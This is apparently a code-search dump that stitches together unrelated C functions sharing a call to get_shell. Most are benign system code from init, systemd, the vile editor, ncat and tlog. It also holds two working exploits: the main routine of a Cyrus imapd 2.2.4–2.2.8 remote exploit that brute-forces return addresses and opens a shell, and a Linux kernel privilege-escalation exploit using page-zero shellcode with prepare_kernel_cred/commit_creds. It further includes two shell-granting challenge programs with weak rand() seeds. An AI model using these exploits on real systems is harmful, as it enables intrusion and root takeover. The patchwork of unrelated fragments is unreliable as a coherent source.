int main (int argc, char *argv[]) { struct stat buf; char *dir; char *program; char **real_argv; int i, j; int res; int dir_fd; if (argc < 2) { fprintf (stderr, "Usage: glick-shell {directory} [program [args]]\n"); return 1; } dir = argv[1]; res = stat (dir, &buf); if (res != 0 || !S_ISDIR (buf.st_mode)) { fprintf (stderr, "Error: Specified location not a directory.\n"); return 1; } if (argc >= 3) program = argv[2]; else program = get_shell (); real_argv = malloc (sizeof (char *) * (argc + 1)); i = 0; real_argv[i++] = program; for (j = 3; j < argc; j++) { real_argv[i++] = argv[j]; } real_argv[i] = NULL; dir_fd = open (dir, O_RDONLY); if (dir_fd == -1) { perror ("Error opening directory: "); return 1; } res = dup2 (dir_fd, 1023); if (res == -1) { perror ("dup2 error: "); return 1; } close (dir_fd); putenv("GLICKROOT=/proc/self/fd/1023"); execvp (program, real_argv); /* Error if we continue here */ perror ("Error starting program"); return 1; }
static char *specifier_user_shell(char specifier, void *data, void *userdata) { Unit *u = userdata; ExecContext *c; int r; const char *username, *shell; assert(u); c = unit_get_exec_context(u); /* return HOME if set, otherwise from passwd */ if (!c || !c->user) { char *sh; r = get_shell(&sh); if (r < 0) return strdup("/bin/sh"); return sh; } username = c->user; r = get_user_creds(&username, NULL, NULL, NULL, &shell); if (r < 0) return strdup("/bin/sh"); return strdup(shell); }
int main(int argc, char *argv[]) { static char buffer[1024]; static char seed[40]; int i; int trial; const char *shell = get_shell(); srand(time(NULL) / 30); memset(seed, 0, sizeof(seed)); for (i = 0; i < sizeof(seed) - 1; i++) seed[i] = (rand() % 64) + 33; for (trial = 0; trial < 3; trial++) { char *dp; memset(buffer, 0, sizeof(buffer)); printf("Password: "******"Authentication Failure\n"); return 0; }
/* npflush is called for filter ops effected with temp files */ void npflush(void) { char buf[NFILEN + 128]; int rc, term_status; /* * caller has filled and closed the write pipe data stream. time to * exec a process. */ if ((stdout_fd = open(stdout_name, O_RDONLY|O_BINARY)) == BAD_FD) { /* oh my, put complaint in user's face. */ sprintf(buf, "[unable to open temp file \"%s\": %s]", stdout_name, strerror(errno)); lastditch_msg(buf); } else { /* handles[1-2] were initialized by tmp_npopen_open() */ handles[0] = (HANDLE) _get_osfhandle(stdout_fd); rc = (exec_shell(shcmd, handles, TRUE /* do hide child window */ ) == BAD_PROC_HANDLE) ? FALSE : TRUE; if (! rc) { /* Shell process failed, put complaint in user's face. */ sprintf(buf, SHELL_ERR_MSG, get_shell()); lastditch_msg(buf); } else { /* now wait for app to exit */ (void) cwait(&term_status, (CWAIT_PARAM_TYPE) proc_handle, 0); TRACE(("...CreateProcess finished waiting in npflush\n")); close_proc_handle(); } /* * When closing descriptors shared between parent and child, order * is quite important when $shell == command.com . In this * situation, the descriptors can't be closed until the exec'd * process exits. */ close_fd(stdout_fd); } }
static void child(int pty_master_fd, int pty_child_fd) { if (close(pty_master_fd) == -1) { die_with_error("close[master]"); } struct termios term_settings; if (tcgetattr(pty_child_fd, &term_settings) == -1) { die_with_error("tcgetattr"); } cfmakeraw(&term_settings); if(tcsetattr(pty_child_fd, TCSANOW, &term_settings) == -1) { die_with_error("tcsetattr"); } if (dup2(pty_child_fd, 0) == -1) { die_with_error("dup2 [stdin]"); } if (dup2(pty_child_fd, 1) == -1) { die_with_error("dup2 [stdout]"); } if (dup2(pty_child_fd, 2) == -1) { die_with_error("dup2 [stderr]"); } if (close(pty_child_fd) == -1) { die_with_error("close[child]"); } if (setsid() == -1) { die_with_error("setsid"); } if (ioctl(0, TIOCSCTTY, 1) == -1) { die_with_error("ioctl"); } const char * shell = get_shell(); char * const * args = calloc(0, sizeof(char *)); if (execv(shell, args) == -1) { die_with_error("execv"); } }
int DOSexec(char *command) { char xbuff[256]; if (!my_shell) get_shell(); sprintf(xbuff, "%s %s", command_opt, command); fflush(stderr); fflush(stdout); return spawnl(P_WAIT, my_shell, my_shell, xbuff, (char *) 0); }
int main(int argc, char *argv[]) { static char buffer[1024]; static char seed[40]; int i; int trial; const char *shell = get_shell(); srand(time(NULL)); for (trial = 0; trial < 3; trial++) { char *sp; char *dp; memset(seed, 0, sizeof(seed)); for (i = 0; i < sizeof(seed) - 1; i++) seed[i] = (rand() % 64) + 33; printf("Challenge: %s\n", seed); dp = seed; sp = dp; while (1) { char c = *sp; *dp = c; if (!c) break; if (*sp < '0' || *sp > '9') { sp++; continue; } sp++; dp++; } /* printf("Answer: %s\n", seed); */ memset(buffer, 0, sizeof(buffer)); printf("Response: "); fgets(buffer, sizeof(buffer) - 1, stdin); dp = strchr(buffer, '\n'); if (dp) *dp = '\0'; if (!strcmp(buffer, seed)) { if (shell) execlp(shell, shell, NULL); } sleep(3); } printf("Authentication Failure\n"); return 0; }
/* Start a subprocess with run_command_redirected and register it with the termination handler. Takes care of o.shellexec. Returns the PID of the subprocess or -1 on error. */ static int start_subprocess(char *cmdexec, struct subprocess_info *info) { char *cmdbuf; int pid; if (o.shellexec) { /* Run with cmd.exe. */ const char *shell; size_t cmdlen; shell = get_shell(); cmdlen = strlen(shell) + strlen(cmdexec) + 32; cmdbuf = (char *) safe_malloc(cmdlen); Snprintf(cmdbuf, cmdlen, "%s /C %s", shell, cmdexec); } else { cmdbuf = cmdexec; } if (o.debug) logdebug("Executing: %s\n", cmdbuf); pid = run_command_redirected(cmdbuf, info); if (cmdbuf != cmdexec) free(cmdbuf); if (pid == -1) return -1; if (register_subprocess(info->proc) == -1) { if (o.verbose) logdebug("Couldn't register subprocess with termination handler; not executing.\n"); TerminateProcess(info->proc, 2); subprocess_info_close(info); return -1; } return pid; }
/* * Run a shell script. * Returns 0 on success, otherwise the next transition to enter: * - single_user if fork/execv/waitpid failed, or if the script * terminated with a signal or exit code != 0. * - death_single if a SIGTERM was delivered to init(8). */ static state_func_t run_script(const char *script) { pid_t pid, wpid; int status; char *argv[4]; const char *shell; struct sigaction sa; shell = get_shell(); if ((pid = fork()) == 0) { sigemptyset(&sa.sa_mask); sa.sa_flags = 0; sa.sa_handler = SIG_IGN; sigaction(SIGTSTP, &sa, (struct sigaction *)0); sigaction(SIGHUP, &sa, (struct sigaction *)0); open_console(); char _sh[] = "sh"; char _autoboot[] = "autoboot"; argv[0] = _sh; argv[1] = __DECONST(char *, script); argv[2] = runcom_mode == AUTOBOOT ? _autoboot : 0; argv[3] = 0; sigprocmask(SIG_SETMASK, &sa.sa_mask, (sigset_t *) 0); #ifdef LOGIN_CAP setprocresources(RESOURCE_RC); #endif execv(shell, argv); stall("can't exec %s for %s: %m", shell, script); _exit(1); /* force single user mode */ }
static int native_inout_popen(FILE **fr, FILE **fw, char *cmd) { char buf[NFILEN + 128]; HANDLE handles[3]; int i, rc, rp[3], tmpin_fd, wp[3]; TRACE((T_CALLED "native_inout_popen cmd=%s\n", cmd)); proc_handle = BAD_PROC_HANDLE; rp[0] = rp[1] = rp[2] = wp[0] = wp[1] = wp[2] = BAD_FD; handles[0] = handles[1] = handles[2] = INVALID_HANDLE_VALUE; tmpin_fd = BAD_FD; tmpin_name = NULL; set_console_title(cmd); if (is_win95()) { char *cmdp; /* * If w32pipes is set on a win95 host, you don't ever want slowreadf() * to periodically update the display while an intrinisic, high * bandwidth DOS command is in progress. Reason: the win95 shell, * command.com, will simply hang in the following scenario: * * ^X!<high_bandwidth_cmd> * * and * * PIPESIZ < output of <high_bandwidth_cmd> * * I'm assuming that what's going on here is that command.com is * written in ASM and is using very low level BIOS/DOS calls to * effect output and, furthermore, that these low level calls don't * block when the input consumer is busy. */ cmdp = skip_blanks(cmd); nowait_pipe_cmd = (strnicmp(cmdp, "dir", 3) == 0) || (strnicmp(cmdp, "type", 4) == 0); } do { if (fr) { *fr = NULL; /* * Open (parent's) input pipe in TEXT mode, which will force * translation of the child's CR/LF record delimiters to NL * and keep the dreaded ^M chars from temporarily appearing * in a vile buffer (ugly). */ if (_pipe(rp, PIPESIZ, O_TEXT|O_NOINHERIT) == -1) break; if ((rp[2] = _dup(rp[1])) == -1) break; handles[2] = handles[1] = (HANDLE) _get_osfhandle(rp[2]); (void) close(rp[1]); rp[1] = BAD_FD; if (! fw) { /* * This is a read pipe (only). Connect child's stdin to * an empty file. Under no circumstances should the * child's stdin be connected to a device (else lots of * screwy things will occur). In particular, connecting * the child's stdin to the parent's stdin will cause * aborts and hangs on the various Win32 hosts. You've * been warned. */ if ((tmpin_name = _tempnam(getenv("TEMP"), "vile")) == NULL) break; if ((tmpin_fd = open(tmpin_name, O_RDONLY|O_CREAT|O_TRUNC, _S_IWRITE|_S_IREAD)) == BAD_FD) { break; } handles[0] = (HANDLE) _get_osfhandle(tmpin_fd); } if ((*fr = fdopen(rp[0], "r")) == 0) break; } if (fw) { *fw = NULL; /* * Open (child's) output pipe in binary mode, which will * prevent translation of the parent's CR/LF record delimiters * to NL. Apparently, many apps want those delimiters :-) . */ if (_pipe(wp, PIPESIZ, O_BINARY|O_NOINHERIT) == -1) break; if ((wp[2] = _dup(wp[0])) == -1) break; handles[0] = (HANDLE)_get_osfhandle(wp[2]); (void) close(wp[0]); wp[0] = BAD_FD; if (! fr) handles[1] = handles[2] = GetStdHandle(STD_OUTPUT_HANDLE); if ((*fw = fdopen(wp[1], "w")) == 0) break; } rc = (exec_shell(cmd, handles, fr != NULL /* Child wdw hidden unless write pipe. */ ) == BAD_PROC_HANDLE) ? FALSE : TRUE; if (fw) { if (! rc) { /* Shell process failed, put complaint in user's face. */ sprintf(buf, SHELL_ERR_MSG, get_shell()); lastditch_msg(buf); } w32_close_handle(handles[0]); } if (fr) { if (! rc) { unsigned len; /* * Shell process failed, put complaint in user's buffer. * Can't write to handles[1] on a win2k host because the * previously failed CreateProcess() call damaged the * handle. */ len = (unsigned) (lsprintf(buf, SHELL_ERR_MSG, get_shell()) - buf); (void) write(rp[2], buf, len); (void) close(rp[2]); /* in weird state; why not? */ } w32_close_handle(handles[1]); close_fd(tmpin_fd); } returnCode(rc); } while (FALSE); /* If we get here -- some operation has failed. Clean up. */ close_fd(wp[0]); close_fd(wp[1]); close_fd(wp[2]); close_fd(rp[0]); close_fd(rp[1]); close_fd(rp[2]); close_fd(tmpin_fd); for (i = 0; i < 3; i++) { if (handles[i] != INVALID_HANDLE_VALUE) w32_close_handle(handles[i]); } common_cleanup(); returnCode(FALSE); }
/* * Bring the system up single user. */ static state_func_t single_user(void) { pid_t pid, wpid; int status; sigset_t mask; const char *shell; char *argv[2]; #ifdef SECURE struct ttyent *typ; struct passwd *pp; static const char banner[] = "Enter root password, or ^D to go multi-user\n"; char *clear, *password; #endif #ifdef DEBUGSHELL char altshell[128]; #endif if (Reboot) { /* Instead of going single user, let's reboot the machine */ sync(); reboot(howto); _exit(0); } shell = get_shell(); if ((pid = fork()) == 0) { /* * Start the single user session. */ open_console(); #ifdef SECURE /* * Check the root password. * We don't care if the console is 'on' by default; * it's the only tty that can be 'off' and 'secure'. */ typ = getttynam("console"); pp = getpwnam("root"); if (typ && (typ->ty_status & TTY_SECURE) == 0 && pp && *pp->pw_passwd) { write_stderr(banner); for (;;) { clear = getpass("Password:"******"single-user login failed\n"); } } endttyent(); endpwent(); #endif /* SECURE */ #ifdef DEBUGSHELL { char *cp = altshell; int num; #define SHREQUEST "Enter full pathname of shell or RETURN for " write_stderr(SHREQUEST); write_stderr(shell); write_stderr(": "); while ((num = read(STDIN_FILENO, cp, 1)) != -1 && num != 0 && *cp != '\n' && cp < &altshell[127]) cp++; *cp = '\0'; if (altshell[0] != '\0') shell = altshell; } #endif /* DEBUGSHELL */ /* * Unblock signals. * We catch all the interesting ones, * and those are reset to SIG_DFL on exec. */ sigemptyset(&mask); sigprocmask(SIG_SETMASK, &mask, (sigset_t *) 0); /* * Fire off a shell. * If the default one doesn't work, try the Bourne shell. */ char name[] = "-sh"; argv[0] = name; argv[1] = 0; execv(shell, argv); emergency("can't exec %s for single user: %m", shell); execv(_PATH_BSHELL, argv); emergency("can't exec %s for single user: %m", _PATH_BSHELL); sleep(STALL_TIMEOUT); _exit(1); } if (pid == -1) { /* * We are seriously hosed. Do our best. */ emergency("can't fork single-user shell, trying again"); while (waitpid(-1, (int *) 0, WNOHANG) > 0) continue; return (state_func_t) single_user; } requested_transition = 0; do { if ((wpid = waitpid(-1, &status, WUNTRACED)) != -1) collect_child(wpid); if (wpid == -1) { if (errno == EINTR) continue; warning("wait for single-user shell failed: %m; restarting"); return (state_func_t) single_user; } if (wpid == pid && WIFSTOPPED(status)) { warning("init: shell stopped, restarting\n"); kill(pid, SIGCONT); wpid = -1; } } while (wpid != pid && !requested_transition); if (requested_transition) return (state_func_t) requested_transition; if (!WIFEXITED(status)) { if (WTERMSIG(status) == SIGKILL) { /* * reboot(8) killed shell? */ warning("single user shell terminated."); sleep(STALL_TIMEOUT); _exit(0); } else { warning("single user shell terminated, restarting"); return (state_func_t) single_user; } } runcom_mode = FASTBOOT; return (state_func_t) runcom; }
int main(int argc, char **argv){ char *payload = NULL, *hostn = NULL, buffer[1024], *ptr; int i, first, sock, opt, target = 0, port = 143, shell_port = atoi(SHELL_PORT), sleeps = 1, p_size=10000, ret_bf_start = RET_BF_START, ret_bf_end = RET_BF_END, vulncheck = 1; fd_set fds; struct sockaddr_in addr; printf("[!] Cyrus imapd 2.2.4 - 2.2.8 remote exploit by crash-x / unl0ck\n"); if (argc < 2) usage(argv[0]); while ((opt = getopt (argc, argv, "h:p:t:s:P:S:E:vV")) != -1){ switch (opt){ case 'h': hostn = optarg; break; case 'p': port = atoi(optarg); if(port > 65535 || port < 1){ printf("[-] Port %d is invalid\n",port); return 1; } break; case 't': target = atoi(optarg); for(i = 0; targets[i].platform; i++); if(target >= i && target != 1337){ printf("[-] Wtf are you trying to target?\n"); usage(argv[0]); } break; case 'S': ret_bf_start = strtoul(optarg,NULL,0); if(!ret_bf_start){ printf("[-] Wtf thats not a valid bruteforce start address!\n"); usage(argv[0]); } break; case 'E': ret_bf_end = strtoul(optarg,NULL,0); if(!ret_bf_end){ printf("[-] Wtf thats not a valid bruteforce end address!\n"); usage(argv[0]); } break; case 's': sleeps = atoi(optarg); break; case 'P': p_size = atoi(optarg); if(p_size < 1000){ printf("[-] Its a bad idea to have a payload with less than 1000 bytes :)\n"); return 1; } break; case 'v': vulncheck = 2; break; case 'V': vulncheck = 0; break; default: usage(argv[0]); } } if(hostn == NULL) usage(argv[0]); if(payload == NULL){ if(!(payload = malloc(p_size))){ printf("[-] Wasnt able to allocate space for the payload!\n"); return 1; } } resolv(&addr, hostn); if(vulncheck == 2){ vulnchck(addr, port); return 1; } else if(vulncheck == 1) vulnchck(addr, port); if(target != 1337){ ret_bf_start = targets[target].retloc; ret_bf_end = targets[target].retloc+5; printf ("[!] Targeting %s\n", targets[target].platform); } else printf("[!] Starting bruteforce attack!\n"); for(i = 0, first = 1; ret_bf_start < ret_bf_end; i++, first++){ if((sock = conn(addr, port)) == -1){ if(first != 1) printf("\n"); printf("[-] Connecting failed!\n"); break; } if(i == 4) ret_bf_start += (p_size - (p_size/10)); else ret_bf_start++; gen_payload(payload, p_size, ret_bf_start, 1); status(ret_bf_start, ret_bf_start + (p_size - (p_size/10)), ret_bf_start + (p_size - (p_size/10/2))); sockprintf(sock, "%s\r\n", payload); if(i == 4){ get_shell(addr, shell_port, sleeps); i = 0; } if(ret_bf_start >= ret_bf_end) printf("[-]\n"); close(sock); } printf("[-] Exploit failed!\n"); return 1; }
static tlog_grc run(const char *progname, struct json_object *conf) { tlog_grc grc; struct json_object *obj; int64_t num; unsigned int latency; unsigned int log_mask; const char *shell_path; char **shell_argv = NULL; const struct timespec delay_min = TLOG_DELAY_MIN_TIMESPEC; clockid_t clock_id; struct timespec timestamp; struct tlog_sink *log_sink = NULL; struct tlog_sink *tty_sink = NULL; struct tlog_source *tty_source = NULL; ssize_t rc; int master_fd; pid_t child_pid; bool term_attrs_set = false; struct termios orig_termios; struct termios raw_termios; struct winsize winsize; assert(progname != NULL); /* Check for the help flag */ if (json_object_object_get_ex(conf, "help", &obj)) { if (json_object_get_boolean(obj)) { tlog_rec_conf_cmd_help(stdout, progname); grc = TLOG_RC_OK; goto cleanup; } } /* Prepare shell command line */ grc = get_shell(conf, &shell_path, &shell_argv); if (grc != TLOG_RC_OK) { fprintf(stderr, "Failed building shell command line: %s\n", tlog_grc_strerror(grc)); goto cleanup; } /* Read the log latency */ if (!json_object_object_get_ex(conf, "latency", &obj)) { fprintf(stderr, "Log latency is not specified\n"); grc = TLOG_RC_FAILURE; goto cleanup; } num = json_object_get_int64(obj); latency = (unsigned int)num; /* Read log mask */ if (!json_object_object_get_ex(conf, "log", &obj)) { fprintf(stderr, "Logged data set parameters are not specified\n"); grc = TLOG_RC_FAILURE; goto cleanup; } grc = get_log_mask(obj, &log_mask); if (grc != TLOG_RC_OK) { fprintf(stderr, "Failed reading log mask: %s\n", tlog_grc_strerror(grc)); goto cleanup; } /* Create the log sink */ grc = create_log_sink(&log_sink, conf); if (grc != TLOG_RC_OK) { fprintf(stderr, "Failed creating log sink: %s\n", tlog_grc_strerror(grc)); goto cleanup; } /* * Choose the clock: try to use coarse monotonic clock (which is faster), * if it provides the required resolution. */ if (clock_getres(CLOCK_MONOTONIC_COARSE, ×tamp) == 0 && tlog_timespec_cmp(×tamp, &delay_min) <= 0) { clock_id = CLOCK_MONOTONIC_COARSE; } else if (clock_getres(CLOCK_MONOTONIC, NULL) == 0) { clock_id = CLOCK_MONOTONIC; } else { fprintf(stderr, "No clock to use\n"); goto cleanup; } /* Get terminal attributes */ rc = tcgetattr(STDOUT_FILENO, &orig_termios); if (rc < 0) { fprintf(stderr, "Failed retrieving tty attributes: %s\n", strerror(errno)); goto cleanup; } /* Get terminal window size */ rc = ioctl(STDOUT_FILENO, TIOCGWINSZ, &winsize); if (rc < 0) { fprintf(stderr, "Failed retrieving tty window size: %s\n", strerror(errno)); goto cleanup; } /* Fork a child under a slave pty */ child_pid = forkpty(&master_fd, NULL, &orig_termios, &winsize); if (child_pid < 0) { grc = TLOG_GRC_ERRNO; fprintf(stderr, "Failed forking a pty: %s\n", tlog_grc_strerror(grc)); goto cleanup; } else if (child_pid == 0) { /* * Child */ execv(shell_path, shell_argv); grc = TLOG_GRC_ERRNO; fprintf(stderr, "Failed executing the shell: %s", tlog_grc_strerror(grc)); goto cleanup; } /* * Parent */ /* Read and output the notice */ if (json_object_object_get_ex(conf, "notice", &obj)) { fprintf(stderr, "%s", json_object_get_string(obj)); } /* Switch the terminal to raw mode */ raw_termios = orig_termios; raw_termios.c_lflag &= ~(ICANON | ISIG | IEXTEN | ECHO); raw_termios.c_iflag &= ~(BRKINT | ICRNL | IGNBRK | IGNCR | INLCR | INPCK | ISTRIP | IXON | PARMRK); raw_termios.c_oflag &= ~OPOST; raw_termios.c_cc[VMIN] = 1; raw_termios.c_cc[VTIME] = 0; rc = tcsetattr(STDOUT_FILENO, TCSAFLUSH, &raw_termios); if (rc < 0) { grc = TLOG_GRC_ERRNO; fprintf(stderr, "Failed setting tty attributes: %s\n", tlog_grc_strerror(grc)); goto cleanup; } term_attrs_set = true; /* Create the TTY source */ grc = tlog_tty_source_create(&tty_source, STDIN_FILENO, master_fd, STDOUT_FILENO, 4096, clock_id); if (grc != TLOG_RC_OK) { fprintf(stderr, "Failed creating TTY source: %s\n", tlog_grc_strerror(grc)); goto cleanup; } /* Create the TTY sink */ grc = tlog_tty_sink_create(&tty_sink, master_fd, STDOUT_FILENO, master_fd); if (grc != TLOG_RC_OK) { fprintf(stderr, "Failed creating TTY sink: %s\n", tlog_grc_strerror(grc)); goto cleanup; } /* Transfer and log the data until interrupted or either end is closed */ grc = transfer(tty_source, log_sink, tty_sink, latency, log_mask); if (grc != TLOG_RC_OK) { fprintf(stderr, "Failed transferring TTY data: %s\n", tlog_grc_strerror(grc)); goto cleanup; } grc = TLOG_RC_OK; cleanup: tlog_sink_destroy(log_sink); tlog_sink_destroy(tty_sink); tlog_source_destroy(tty_source); /* Free shell argv list */ if (shell_argv != NULL) { for (size_t i = 0; shell_argv[i] != NULL; i++) { free(shell_argv[i]); } free(shell_argv); } /* Restore terminal attributes */ if (term_attrs_set) { rc = tcsetattr(STDOUT_FILENO, TCSAFLUSH, &orig_termios); if (rc < 0 && errno != EBADF) { fprintf(stderr, "Failed restoring tty attributes: %s\n", strerror(errno)); return 1; } } return grc; }
static void tmp_npclose(FILE *fp) { char buf[NFILEN + 128]; int rc, term_status; (void) fflush(fp); (void) fclose(fp); if (stdout_fd != BAD_FD) { /* * write pipe, but not a filter. Editor has written data to temp * file, time now to exec "cmd" and hook its stdin to the file. * * It should be noted that exec'ing a process in the npclose() * phase of a write pipe is not exactly keeping in spirit with * the control flow in file.c :-) . However, the strategy used * here ensures that the launched process reads a temp file that * is completey flushed to disk. The only direct drawback with * this approach is that when the exec'd process exits, the user * does not receive a "[press return to continue]" prompt from * file.c . But, cough, we can work around that problem :-) . */ if ((stdout_fd = open(stdout_name, O_RDONLY|O_BINARY)) == BAD_FD) { /* oh my, put complaint in user's face. */ sprintf(buf, "[unable to open temp file \"%s\": %s]", stdout_name, strerror(errno)); lastditch_msg(buf); } else { handles[0] = (HANDLE) _get_osfhandle(stdout_fd); handles[1] = handles[2] = GetStdHandle(STD_OUTPUT_HANDLE); rc = (exec_shell(shcmd, handles, FALSE /* don't hide child window */ ) == BAD_PROC_HANDLE) ? FALSE : TRUE; if (! rc) { /* Shell process failed, put complaint in user's face. */ sprintf(buf, SHELL_ERR_MSG, get_shell()); lastditch_msg(buf); } else { /* now wait for app to exit */ (void) cwait(&term_status, (CWAIT_PARAM_TYPE) proc_handle, 0); TRACE(("...CreateProcess finished waiting in tmp_npclose\n")); close_proc_handle(); } /* * When closing descriptors shared between parent and child, * order is quite important when $shell == command.com . In * this situation, the descriptors can't be closed until the * exec'd process exits. */ close_fd(stdout_fd); } pressreturn(); /* cough */ sgarbf = TRUE; } tmp_cleanup(); }
static int test_unit_printf(void) { Manager *m = NULL; Unit *u, *u2; int r; _cleanup_free_ char *mid = NULL, *bid = NULL, *host = NULL, *uid = NULL, *user = NULL, *shell = NULL, *home = NULL; assert_se(specifier_machine_id('m', NULL, NULL, &mid) >= 0 && mid); assert_se(specifier_boot_id('b', NULL, NULL, &bid) >= 0 && bid); assert_se(host = gethostname_malloc()); assert_se(user = getusername_malloc()); assert_se(asprintf(&uid, UID_FMT, getuid())); assert_se(get_home_dir(&home) >= 0); assert_se(get_shell(&shell) >= 0); r = manager_new(UNIT_FILE_USER, true, &m); if (r == -EPERM || r == -EACCES || r == -EADDRINUSE) { puts("manager_new: Permission denied. Skipping test."); return EXIT_TEST_SKIP; } assert_se(r == 0); #define expect(unit, pattern, expected) \ { \ char *e; \ _cleanup_free_ char *t = NULL; \ assert_se(unit_full_printf(unit, pattern, &t) >= 0); \ printf("result: %s\nexpect: %s\n", t, expected); \ if ((e = endswith(expected, "*"))) \ assert_se(strncmp(t, e, e-expected)); \ else \ assert_se(streq(t, expected)); \ } assert_se(setenv("XDG_RUNTIME_DIR", "/run/user/1/", 1) == 0); assert_se(u = unit_new(m, sizeof(Service))); assert_se(unit_add_name(u, "blah.service") == 0); assert_se(unit_add_name(u, "blah.service") == 0); /* general tests */ expect(u, "%%", "%"); expect(u, "%%s", "%s"); expect(u, "%", ""); // REALLY? /* normal unit */ expect(u, "%n", "blah.service"); expect(u, "%f", "/blah"); expect(u, "%N", "blah"); expect(u, "%p", "blah"); expect(u, "%P", "blah"); expect(u, "%i", ""); expect(u, "%u", user); expect(u, "%U", uid); expect(u, "%h", home); expect(u, "%m", mid); expect(u, "%b", bid); expect(u, "%H", host); expect(u, "%t", "/run/user/*"); /* templated */ assert_se(u2 = unit_new(m, sizeof(Service))); assert_se(unit_add_name(u2, "*****@*****.**") == 0); assert_se(unit_add_name(u2, "*****@*****.**") == 0); expect(u2, "%n", "*****@*****.**"); expect(u2, "%N", "blah@foo-foo"); expect(u2, "%f", "/foo/foo"); expect(u2, "%p", "blah"); expect(u2, "%P", "blah"); expect(u2, "%i", "foo-foo"); expect(u2, "%I", "foo/foo"); expect(u2, "%u", user); expect(u2, "%U", uid); expect(u2, "%h", home); expect(u2, "%m", mid); expect(u2, "%b", bid); expect(u2, "%H", host); expect(u2, "%t", "/run/user/*"); manager_free(m); #undef expect return 0; }
INT_PTR CALLBACK dlgfunc (HWND hDlg, UINT msg, WPARAM wParam, LPARAM lParam) { int id, f, option; TCHAR buffer[MAX_PATH], temp[2000]; switch( msg ) { case WM_DESTROY: g_hDlg = NULL; return 0; case WM_INITDIALOG: g_hDlg = hDlg; option = 0; Init (); if (0 == is_usingNT) { EnableWindow(GetDlgItem(hDlg, IDC_CHK1), FALSE); } else if (0 == is_admin) { /* if not admin, see if a shell is set for this user */ is_per_user = rw_reg(A_RD|A_SZ, HKEY_CURRENT_USER, logonstr, TEXT("Shell"), buffer); SetDlgItemText(hDlg, IDC_CHK1, TEXT("Set shell for this user &individually")); } CheckDlgButton(hDlg, IDC_CHK1, is_per_user ? BST_CHECKED : BST_UNCHECKED); display: if (is_usingNT) { if (0 == is_per_user) { _tcscpy(buffer, TEXT("Shell for all users")); if (0 == is_admin) _tcscat(buffer, TEXT(" (run as admin to change)")); } else { DWORD result = sizeof temp; temp[0] = 0; GetUserName(temp, &result); _stprintf(buffer, TEXT("Shell for the current user (%s)"), temp); } SetDlgItemText(hDlg, IDC_GRP1, buffer); } if (2 == option) _tcscpy(buffer, szBlackbox); else if (1 == option) _tcscpy(buffer, szExplorer); else get_shell(buffer); _tcslwr(_tcscpy(temp, buffer)); if (0 == _tcsicmp(temp, szBlackbox)) { id = IDC_RBN1; } else if (_tcsstr(temp, TEXT("explorer"))) { id = IDC_RBN2; } else if (temp[0]) { id = IDC_RBN3; } else { _tcscpy(buffer, TEXT("<not set>")); id = 0; } CheckRadioButton(hDlg, IDC_RBN1, IDC_RBN3, id); for (f = IDC_RBN1; f <= IDC_RBN3; ++f) EnableWindow(GetDlgItem(hDlg, f), is_admin || is_per_user); set_line: { HWND hLine = GetDlgItem(hDlg, IDC_EDT1); SetWindowText(hLine, buffer); SendMessage(hLine, EM_SETREADONLY, id != IDC_RBN3, 0); } return 1; case WM_COMMAND: id = LOWORD( wParam ); switch(id) { case IDC_CHK1: is_per_user = 0 != IsDlgButtonChecked(hDlg, id); option = 0; goto display; case IDC_RBN1: option = 2; goto display; case IDC_RBN2: option = 1; goto display; case IDC_RBN3: buffer[0] = 0; goto set_line; case IDCANCEL: EndDialog(hDlg, 0); return 1; case IDOK: case IDC_LOG1: GetDlgItemText(hDlg, IDC_EDT1, shellpath, sizeof shellpath); if (SetAsShell(shellpath) == 1) return 1; if (0 == is_admin && is_per_user && 0 == get_per_user()) { id = 1; } else if (id == IDC_LOG1) { id = 2; } else if (0 == is_admin && 0 == is_per_user) { id = 3; } else { id = 4; } EndDialog(hDlg, id); return 1; } } return 0; }
int main(int ac, char **av) { if (ac != 2) { printf("./exploit kernel_offset\n"); printf("exemple = 0xffffffff81f3f45a"); return EXIT_FAILURE; } // 2 - Appel de la fonction get_kernel_sym pour rcuperer dans le /proc/kallsyms les adresses des fonctions prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred"); commit_creds = (commit_creds_t)get_kernel_sym("commit_creds"); // have_canfork_callback offset <= rendre dynamique aussi pid_t pid; /* siginfo_t info; */ // 1 - Mapper la mmoire l'adresse 0x0000000000000000 printf("[+] Try to allocat 0x00000000...\n"); if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){ printf("[-] Failed to allocat 0x00000000\n"); return -1; } printf("[+] Allocation success !\n"); /* memset(0, 0xcc, 4096); */ /* movq rax, 0xffffffff81f3f45a movq [rax], 0 mov rax, 0x4242424242424242 call rax xor rax, rax ret replace 0x4242424242424242 by get_root https://defuse.ca/online-x86-assembler.htm#disassembly */ unsigned char shellcode[] = { 0x48, 0xC7, 0xC0, 0x5A, 0xF4, 0xF3, 0x81, 0x48, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0xFF, 0xD0, 0x48, 0x31, 0xC0, 0xC3 }; void **get_root_offset = rawmemchr(shellcode, 0x42); (*get_root_offset) = get_root; memcpy(0, shellcode, sizeof(shellcode)); /* strcpy(0, "\x48\x31\xC0\xC3"); // xor rax, rax; ret */ if(-1 == (pid = fork())) { perror("fork()"); return EXIT_FAILURE; } if(pid == 0) { _exit(0xDEADBEEF); perror("son"); return EXIT_FAILURE; } siginfo_t *ptr = (siginfo_t*)strtoul(av[1], (char**)0, 0); waitid(P_PID, pid, ptr, WEXITED | WSTOPPED | WCONTINUED); // TRIGGER pid = fork(); printf("fork_ret = %d\n", pid); if (pid > 0) get_shell(); return EXIT_SUCCESS; }
